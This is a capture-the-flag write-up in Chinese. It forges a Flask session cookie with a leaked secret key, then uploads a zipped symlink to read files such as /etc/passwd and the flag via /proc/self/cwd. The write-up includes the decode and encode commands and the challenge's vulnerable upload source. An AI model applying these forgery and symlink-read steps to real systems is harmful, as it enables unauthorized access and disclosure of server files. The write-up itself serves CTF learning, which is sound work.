目录
又是 Flask_session
ln -s 软链接
代码审计
进入页面随便输入点东西
不是ssti
访问upload 显示没有权限。
抓包看
经典的 flask_session .
放到kali 里解密
- python3 flask_session_cookie_manager3.py decode -c ".eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PL0IojHIPy42MCCtOcbS1BWkoLU4tykvMTcWhoBYAbr4gMA.YxGslA.wMQVZ9zVUrMJ6O7VU73clHc6wfY"
-
- b'{"id":{" b":"MTAw"},"is_login":true,"password":{" b":"ZGVmYXVsdA=="},"username":{" b":"ZGVmYXVsdA=="}}'
改成我们想要的 信息 再进行加密,但是我们没有密钥key
源码中有提示:
随便访问个不存在的url 地址, key就在返回包头中
解密:
- U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
-
- keyqqqwwweee!@#$%^&*
进行session 加密成这样:
{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}
python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"
加密后抓包 改成session,成功进入到页面:
F12查看源码。
- @app.route('/upload',methods=['GET','POST'])
- def upload():
- if session['id'] != b'1':
- return render_template_string(temp)
- if request.method=='POST':
- m = hashlib.md5()
- name = session['password']
- name = name+'qweqweqwe'
- name = name.encode(encoding='utf-8')
- m.update(name)
- md5_one= m.hexdigest()
- n = hashlib.md5()
- ip = request.remote_addr
- ip = ip.encode(encoding='utf-8')
- n.update(ip)
- md5_ip = n.hexdigest()
- f=request.files['file']
- basepath=os.path.dirname(os.path.realpath(__file__))
- path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
- path_base = basepath+'/upload/'+md5_ip+'/'
- filename = f.filename
- pathname = path+filename
- if "zip" != filename.split('.')[-1]:
- return 'zip only allowed'
- if not os.path.exists(path_base):
- try:
- os.makedirs(path_base)
- except Exception as e:
- return 'error'
- if not os.path.exists(path):
- try:
- os.makedirs(path)
- except Exception as e:
- return 'error'
- if not os.path.exists(pathname):
- try:
- f.save(pathname)
- except Exception as e:
- return 'error'
- try:
- cmd = "unzip -n -d "+path+" "+ pathname
- if cmd.find('|') != -1 or cmd.find(';') != -1:
- waf()
- return 'error'
- os.system(cmd)
- except Exception as e:
- return 'error'
- unzip_file = zipfile.ZipFile(pathname,'r')
- unzip_filename = unzip_file.namelist()[0]
- if session['is_login'] != True:
- return 'not login'
- try:
- if unzip_filename.find('/') != -1:
- shutil.rmtree(path_base)
- os.mkdir(path_base)
- return 'error'
- image = open(path+unzip_filename, "rb").read()
- resp = make_response(image)
- resp.headers['Content-Type'] = 'image/png'
- return resp
- except Exception as e:
- shutil.rmtree(path_base)
- os.mkdir(path_base)
- return 'error'
- return render_template('upload.html')
-
-
- @app.route('/showflag')
- def showflag():
- if True == False:
- image = open(os.path.join('./flag/flag.jpg'), "rb").read()
- resp = make_response(image)
- resp.headers['Content-Type'] = 'image/png'
- return resp
- else:
- return "can't give you"
定义了 两个路由 一个是 /upload 一个是 /showflag 。 上传的路由就是上传一个压缩的图片,然后上传上去之后会解压,然后再显示图片。
还有一点就是 /show/flag 路由中,显示了 flag 的相对路径, /flag/flag.jpg
我们这里可上传一个软连接压缩包,来读取其他文件,showflag路由告诉我们flag.jpg放在flask根目录的flag目录下,但是不知道其绝对路径。
1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。
如:
看到snowy软链接已经被创建出来了。
访问 snowy 正是 /etc/passwd的内容。
所以 整理下思路:
upload 源码 会将 我们上传的压缩图片进行解压,并解析到前端,我们上传一个/proc/self/cwd/flag/flag.jpg压缩过的软连接,这样 他就会解压我们软连接,并返回给我们看
其中zip命令的参数含义如下:
- -r:将指定的目录下的所有子目录以及文件一起处理
-
- -y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。
抓包上传压缩包即可。
ln -s 确实想不到,考点涉猎很广